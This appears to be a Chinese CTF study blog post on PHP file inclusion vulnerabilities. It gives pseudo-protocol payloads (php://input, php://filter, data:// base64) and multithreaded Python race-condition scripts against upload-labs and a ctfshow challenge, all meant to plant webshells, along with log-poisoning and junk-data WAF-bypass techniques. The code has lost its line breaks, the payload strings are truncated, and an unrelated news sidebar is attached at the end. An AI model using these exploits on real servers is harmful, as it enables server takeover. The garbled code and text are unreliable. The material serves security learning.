文件包含总结
创始人
2024-03-05 06:38:11
0

概念

是指将已有的代码以文件形式包含到某个指定的代码中,从而使用其中的代码或者数据,一般是为了方便直接调用所需文件,文件包含的存在使得开发变得更加灵活和方便。

文件包含常见函数

include()  // 执行到include时才包含文件,找不到文件产生警告,脚本继续执行
require()  // 程序运行就包含文件,找不到文件产生错误,脚本停止
include_once()
require_once()
// 和前面注解一样,_once()后缀表明只会包含一次,已包含则不会再包含

漏洞成因

文件包含漏洞原因主要有两点:

1.函数中的参数可控。

2.文件包含时,无论文件是何类型,他都会将该文件当作php文件来解析,无法解析时会回显其文件的内容

本地尝试1(include)

代码

1.php


然后写一个被包含的文件。

然后get传入shell.php,发现成功被解析。

然后修改一下shell.php为shell.png,并改变其内容

成功解析,说明include可以绕过后缀名直接解析文件中的php代码。

然后来尝试一下伪协议:

首先是php伪协议:

php://input:

payload:

GET: file=php://input
POST: ')?>

写入木马文件feng.php

file://

需要直接路径

php://filter

payload:

file=php://filter/resource=文件名

base64输出文件内容;

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

data协议

payload:

?file=data://text/plain,

base64传入命令:

payload:

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz

本地尝试2(require)

代码:


成功得到了shell.png中的$flag的值,所以require的一个作用就是在一个文件里去包含另一个文件,然后可以用另一个文件里的参数和方法。

还有几种常见的类型,日志文件包含、条件竞争、脏文件绕过、phar://伪协议+反序列化等等。

条件竞争类型

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果,简而言之就是并没有考虑线程同步。因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

用upload-labs来演示。

Pass-18:

源码:

?php
include '../config.php';
include '../head.php';
include '../menu.php';$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}
?>

思路:文件是先传到服务器上,然后再去判断是否符合要求,当我们一直上传并访问该文件时,会出现文件还没来得及删除就被我们访问到,然后我们写一个写入木马文件的木马,最后会在服务器上留下一个访问时被上传上去的木马,这个木马并不会被删除,就达到了getshell的目的。

脚本:

import requests
import threadingdef write():url = 'http://www.upload.com:83/upload/Pass-18/index.php?action=show_code'files = {'upload_file': ('shell2.php', "');?>")}data = {'submit': '上传'}while True:r = requests.post(url=url, data=data, files=files)def read():while True:re = requests.get('http://www.upload.com:83/upload/upload/shell2.php')if re.status_code == 200:print('上传成功')if __name__ == '__main__':evnet = threading.Event()with requests.session() as session:for i in range(20):threading.Thread(target=write).start()for i in range(20):threading.Thread(target=read).start()evnet.set()

运行脚本,发现上传成功:

Pass-19:

源码:

require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break;      default:$msg = '未知错误!';break;}
}
?>

还是条件竞争,不过需要修改一下路径和上传文件的名称。

脚本如下:

import requests
import threadingdef write():url = 'http://www.sql.coom:83/upload/Pass-19/index.php?action=show_code'files = {'upload_file': ('shell2.png', "');?>")}data = {'submit': '上传'}while True:r = requests.post(url=url, data=data, files=files)def read():while True:re = requests.get('http://www.sql.coom:83/upload/include.php?file=upload/shell2.png')if re.status_code == 200:print('上传成功')if __name__ == '__main__':evnet = threading.Event()with requests.session() as session:for i in range(20):threading.Thread(target=write).start()for i in range(20):threading.Thread(target=read).start()evnet.set()

条件竞争思路几乎都差不多,还有的是session条件竞争,需要开启session.start,不多说了。

日志文件包含+简单绕过

以ctfshow例题为例:

源码:

$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

源码很简单,过滤了php和data协议,然后还过滤了:

利用日志文件包含,首先看一下服务器类型。

发现时Nginx1.18.0版本,在网上找到了日志问价路径,然后改一下UA头,bp打一下。

需要访问两次,第一次写入修改的UA头,第二次才能成功包含。

有时会有放火墙过滤,这时可以用脏数据绕过。

以[鹏城杯 2022]简单包含为例:

源码很简单,但当我们正常包含时,会发现。

想办法绕过waf,试了很多种方法,最后脏数据成功绕过。

传入一大串垃圾数据,让其waf崩溃,从而可以达到文件包含目的。

例题

ctfshow web入门-85

先看题目给出的代码:

$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);}else{highlight_file(__FILE__);
}

发现是include问题,并且过滤了:和.,利用session条件竞争来解题。

import requests
import io
import threadingurl = "http://532ebcbc-0b51-4afc-a511-711d3c73a1e6.challenge.ctf.show/"
data = {"1" : "file_put_contents('/var/www/html/feng.php','');"}
sessionid = "feng"def write(session):fileBytes = io.BytesIO(b'a' * 1024 * 20)while True:response = session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS': ''},cookies={'PHPSESSID': sessionid},files={"file":('feng.jpg',fileBytes)})def read(session):while True:response = session.post(url + '?file=/tmp/sess_' + sessionid, data=data)response2 = session.get(url + 'feng.php');if response2.status_code == 200:print('Success upload')else:print(response2.status_code)if __name__ == '__main__':# 开启多线程进行竞争evnet = threading.Event()with requests.session() as session:for i in range(20):threading.Thread(target=write, args=(session,)).start()for i in range(20):threading.Thread(target=read, args=(session,)).start()evnet.set()

参考:【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行… - FreeBuf网络安全行业门户

相关内容

热门资讯

半岛时评|对法律条文不可联想式... 明年起给好友发不雅照片要被拘留?新修订的《中华人民共和国治安管理处罚法》明年1月1日起施行,近日,有...
全国住房城乡建设工作会议提出:... 全国住房城乡建设工作会议提出:进一步发挥房地产项目“白名单”制度作用 王舒嫄 中国证券报 2025...
新闻8点见丨江苏全面调查南博文... 【时政】 《行政执法监督条例》自2026年2月1日起施行 12月23日公布的《行政执法监督条例》自2...
国家安全部披露:某单位赶制年终... 岁末年终,总结、考核、检查等工作密集开展。各类材料的整理、数据的汇总与后续计划的制定,往往涉及多方面...
上证观察家 | “多速并行”:... 主要发达经济体的货币政策已从“同向宽松”转向“多速并行”:美联储在连续降息后趋于谨慎,英国央行在通胀...
委内瑞拉议会通过法律 应对美海... 新华社加拉加斯12月23日电(记者缪培源 田睿)委内瑞拉全国代表大会23日一致通过《保护航行和贸易自...
银河证券:券商行情稳中有进,政... 银河证券指出,国家“稳增长、稳股市”、“提振资本市场”的政策目标将持续定调板块未来走向,流动性适度宽...
三部门开展“法援志愿行”活动 本报北京12月23日电 (记者张璁)司法部、教育部、共青团中央近日印发通知,在全国组织开展并持续推进...
榆林市第二期工信领域争资争项暨... 阳光讯(记者 张壮壮)为进一步助力榆林市工信系统及重点企业精准把握惠企政策导向,帮助企业争取更多项目...
个人征信修复政策出台 警惕“收... 山西晚报·山河+讯(记者 辛戈)个人信用可获官方“免申即享”式修复,但“收费洗白”的新骗局也随之冒头...